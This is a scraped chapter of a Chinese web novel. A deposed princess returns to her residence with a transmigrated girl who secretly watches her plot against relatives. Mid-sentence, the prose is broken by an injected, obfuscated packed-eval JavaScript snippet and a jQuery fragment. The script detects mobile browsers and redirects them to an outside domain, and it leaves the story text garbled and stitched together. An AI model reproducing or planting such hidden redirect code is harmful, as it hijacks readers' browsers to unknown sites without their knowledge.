“殿下……”
殿外有人疾呼一声,谢明棠的手收了回来,转身看过去,窝窝疾步走来,道:“殿下,陛下下旨恩赦,令您回府思过。”
谢明棠面容淡淡:“知道了。”
于她而言,算不得喜事,不过是换了一座被囚禁的宅子罢了。
窝窝显得很激动,“殿下,马车已经备好,您可以出去了。”
冷宫破败,处处漏风,想吃顿好的都办不到,哪里有家里好!
顾颜跟着走出来,躲在门后,漆黑的瞳孔透着真诚,叫人心生怜悯。
窝窝见她也行礼:“顾七姑娘,殿下要回府,感谢您这些时日的照顾,属下这就送你回家!”
“回家?”顾颜低头,捏着衣角,透着几分小可怜的模样。底气不足道:“阿姐说带我回公主府。”
她的声音软软细细,听起来,软糯可欺!
谢明棠沉吟片刻,她当真如表面这般可欺?
她缓缓道:“走吧。”
顾颜喜滋滋地提着木箱,眉眼舒展,整个人豁然开朗。
窝窝上前,“顾七姑娘,属下替您拿!”
“不用,我自己可以提。”顾颜将木箱藏在身后,提什么提,要你帮什么忙!
顾颜剜了窝窝一眼,窝窝惊讶地看着她,顾七姑娘唇红齿白,顾盼生辉。
她长得可真好看,像瓷娃娃一般精致!
窝窝心里泛起怜悯,长臂一挥,直接将木箱接过来:“七姑娘,属下帮你提。”
顾颜目瞪口呆,她直接就抢了……
她这里说不出话,窝窝友好地朝她点头:“您别客气,您这回照顾殿下出力,自然也是我们的主子。”
顾颜有苦,说不出,嘱咐她:“那你到了公主府就还给我。”
“那是自然!”窝窝拍着胸脯保证!
冷宫外的士兵都撤了,停了一辆气派的马车,窝窝将木箱送进马车,随后等着主子上车。
顾颜有眼力见,主动扶着谢明棠上车。
当谢明棠的手搭在少女的腕上时,窝窝瞪大了眼睛,她家主子素来不用人搀扶的……
进了一趟冷宫就变弱了?
弱到需要十五岁小姑娘扶着上车!
窝窝不理解但遵从,上车挥鞭,马车稳稳地朝前驶去。
车里的顾颜轻轻地转动手镯,脑子里胡思乱想,她在想着自己是不是无法离开下谢明棠?
这个纸片世界是作者笔下的,谢明棠是主角,只有跟着她,世界才会眼前铺展开。
少女沉默无言,指尖搭在手镯上,一举一动落在谢明棠眼中,她看着那只手镯,顾颜进宫的时候戴手镯了?
谢明棠回忆一番,这只手镯似乎是她醒来后才戴上的。
马车至宫门口,停下来接受检查,守门的人见到是废太女,挥挥手放行。
谢明棠的公主府离宫廷不过一墙之隔,出了宫门绕上一圈,便到了公主府正门。
府门冷清,囊囊站在门口等着她们回来。
马车停下来,顾颜先下车,转身去搀扶谢明棠,囊囊上前一步,推开她,自己伸手去搀扶主上。
顾颜觉得莫名其妙,眨了眨眼睛。
眼前换了一人,谢明棠迟疑了,随后收回手,忽视囊囊搀扶的双手,径直走下来。
顾颜未曾注意到这里,眼前都在看着木箱,当谢明棠走下来后,她立即将木箱搬下来。
“阿姐,我住哪里?”
“顾姑娘,您不回顾国公府吗?”囊囊无情地打断她的脚步,抬手阻止她靠近主上。
顾姑娘表面老实,背地里不安分,偷偷摸摸、鬼鬼祟祟,不规矩!
囊囊义正词严地拦着顾颜,顾颜狐疑地看向她,“阿姐说我住这里。”
“您是顾国公府的人,住这里不合适!”
听着她无情的话,顾颜无措地站在原地,眼眶跟着发红了,瞧着十分可怜。
窝窝急了,“囊囊你干什么,殿下说了,顾七姑娘住在这里!”
台阶上的谢明棠静静地看着被为难的少女,看着她在装可怜装无措。
谢明棠笑了,她怎么这么会演呢?
“阿颜,随我来!”谢明棠仁善地开口,目光再度落在她手中的木箱上,“囊囊,不许为难顾姑娘!”
她好奇顾颜宝贝的东西是什么!
顾颜被放进来,巴巴地跟着谢明棠,“阿姐,我住哪里?”
“想住哪里都可以,我院子大,还有空房间!”谢明棠淡淡开口,她觉得应该将顾颜放在眼皮下面,若不然,指不定怎么作妖!
闻言,顾颜晦暗的双眼登时就亮了,还可以和她住在一起!
真好!
少女的面色肉眼可见地好了许多,就连步子都快了许多。公主府占地广,多年不住人,皇帝刚下旨,囊囊便领着人来打扫,后院景致不佳,还在修缮中。
步入主院后,婢女来迎,主动去接木箱,顾颜照旧拒绝了,“不用,我自己提着就好。”
谢明棠的目光再度落在箱子上。
婢女不好勉强,笑着与主子开口:“殿下,卧房收拾好了,您要的厢房也收拾妥当了。”
谢明棠鲜少来此居住,她自幼便住在东宫,唯有在外留宿时才会过来居住。
“带顾姑娘去厢房休息。”
说完,她便大步进屋,顾颜的目光追逐而去,心里顿时生起几分害怕。
此地人不生地不熟,她还有些社恐。
“姑娘,您随我来!”
顾颜提着箱子,紧张地跟着婢女,转了弯就到自己的厢房。
屋舍很大,分里外两间房,外面待客,里面睡觉。里外设屏风阻隔,香烟袅袅,布局景致,锦帐都是樱草色的,女子的闺房也不过如此。
顾颜将木箱塞进床底下,自己先躺下休息。
婢女给她拿了点心吃食,香气诱人,她像是捡来的小野猫,主人安抚两句后就走了,由着婢女伺候她。
吃了两口,她觉得无趣,还不如在冷宫里时时刻刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322696|183162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都可以看到谢明棠。
眼看无果,她决定去卧房看看!
顾颜赶走婢女后,自己偷偷摸摸出门,殊不知横梁上一道眼睛盯着她。
那双眼睛盯着她,随后跃下横梁跟着她。
顾颜对此地不熟悉,走回到卧房前,转眼走到西窗下,西边有棵树,恰好遮掩住她的身影。
回府后的谢明棠收到了各地来的情报。
看着一封封书信,倒戈的臣下、背刺她的顾家、踩着她上位的贤妃一家……
一重重失望中,她蓦然笑了,这些人都该死!
迟早也会死的。
从贤妃开始!
谢明棠躺在躺椅上,摇摇晃晃,下属匆匆走进来,“殿下,贤妃殁了。”
“呀,来不及了。”谢明棠阖眸,嫣红的唇角轻轻地勾起,惋惜道:“姨母死了,舅父该多伤心,陛下可伤心?”
下属回答:“陛下往落秋宫去了。”
谢明棠笑了,道:“窝窝哪里去了?”
门外守候的人立即进来,“属下在。”
“去将元后的画像送到御前!”
躺椅上的女子气定神闲,气定神闲地吩咐下属。
窝窝明白过来,陛下此刻伤心,待见到元后的画像便知道,贤妃不过是个替身罢了,死了也就死了。
“属下这就去安排。”
窗下的顾颜哪里见过这等场面,漆黑分明的眼睛情不自禁地落在躺椅上,贤妃死了?
连姨母都敢杀……
彻底黑化了!
顾颜艰难地吞了吞口水,搁在现代,杀人就是犯法的,要坐牢!
在这里,眨眼的功夫,一条性命就没了。
命如草芥,同样,谢明棠的命也如同草芥。
再抬头,屋里只有一人,谢明棠阖眸躺在椅子上,摇摇晃晃,姿态懒散,透着一股难以言喻的落寞与凄楚。
她是公主不假,生母早逝,父亲怀疑,兄妹陷害,姨母舅父背刺她。
当真可怜极了。
顾颜偷窥了半晌,对谢明棠更加心疼,亲戚都背叛她,踩着她、吸她的血!
仅仅片刻分神的功夫,谢明棠起身朝西窗走来,吓得她捂着脑袋蹲下来。
谢明棠站在床边,眺望冬景,冷风吹拂,有些凉了。
就在顾颜抱着脑袋忐忑不安的时候,谢明棠伸手关上窗户,平静地走了。
没的看了!
顾颜落寞地离开,照着来时路走回卧房,背后的眼睛气得发疯,确定她走远后,立即去卧房告状。
“殿下,方才顾姑娘就在西窗下偷窥您!分明就是图谋不轨!”
囊囊握着刀,咬牙切齿,“您若不信,我便将她拖来与您对峙。”
躺椅摇晃的人睁开眼睛,眼内淡漠:“如何偷窥?”
“西窗下偷窥!”
谢明棠又问:“如何是图谋不轨?”
囊囊要气疯了:“盯着您不放,偷窥你小憩,不是图谋不轨是什么!”